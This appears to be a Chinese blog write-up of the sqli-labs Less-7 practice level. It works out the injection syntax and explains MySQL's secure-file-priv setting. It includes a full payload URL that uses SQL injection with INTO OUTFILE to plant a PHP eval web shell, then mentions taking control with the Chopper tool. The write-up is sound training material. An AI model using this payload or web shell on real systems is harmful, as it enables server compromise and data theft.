Less-7
0x01
添加单引号,发现报错,猜测可能是字符型的注入
2.png 3.png
首先添加单引号报错,再添加and 1=1 --+ 发现报错 认为不是单纯的单引号的类型,应该是还有其他的字符, 比如两个单引号,或者单引号括号, 或者单引号双引号, 单引号单引号括号之类的
4.png
5.png
6.png
排除掉单引号单引号括号的原因是and 1=1正确, 但是and 1=2明显不正确的却依然正确返回, 故排除掉
一一尝试以后发现这些列出来的可能性都不对, 查看源码发现是单引号括号括号这种类型的...= =
7.png
8.png
刚开始以为这题跟less-5类似, 都是双注入, 但是尝试之后发现并不是, 无法返回数据
9.png
在查看别人的博客以后说是可以用这关是导出文件GET字符型的上传注入, 可以利用into outfile这个函数.
构造的payload:
http://192.168.88.130/sqllab/Less-7/?id=1')) union select 1,3,"<?php @eval($_POST['pass']);?>" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqllab\\Less-7\\1.php' --+
16.png
这其中关于导入的地址不能是\ 会上传不上去, 应该写成\或者/......
关于为什么知道c盘的路径phpstudy, 那是因为这是我搭建的靶机啊23333= =
在网上看到说可以利用前面有回显的前三关利用@@datadir和@@basedir来找到路径
1.png
2.png
但是实际情况并没有这两个函数= =怀疑有些人....
最后用菜刀连接一下想拿什么都可以了....
13.png
关于这题如果想要使用intofile这个函数需要在配置mysql的一个文件mysql.ini, 默认情况下是无法上传或者读取文件内容的
image.png
更新,图片错了,不是下划线_,是横杠-,图片更这麻烦就不改了2333懒
1.png
默认是没有这个内容的,
secure-file-priv=
是没有限制
secure-file-priv=NULL
禁止,默认就是禁止,无法读取上传
如果后面跟了一个路径目录就是只那个路径可以读取
同时关于这一关的其他方法听说还有一种叫做DNSlog的方法,可以参考
https://www.jianshu.com/p/95c814c515a2
http://netsecurity.51cto.com/art/201802/566391.htm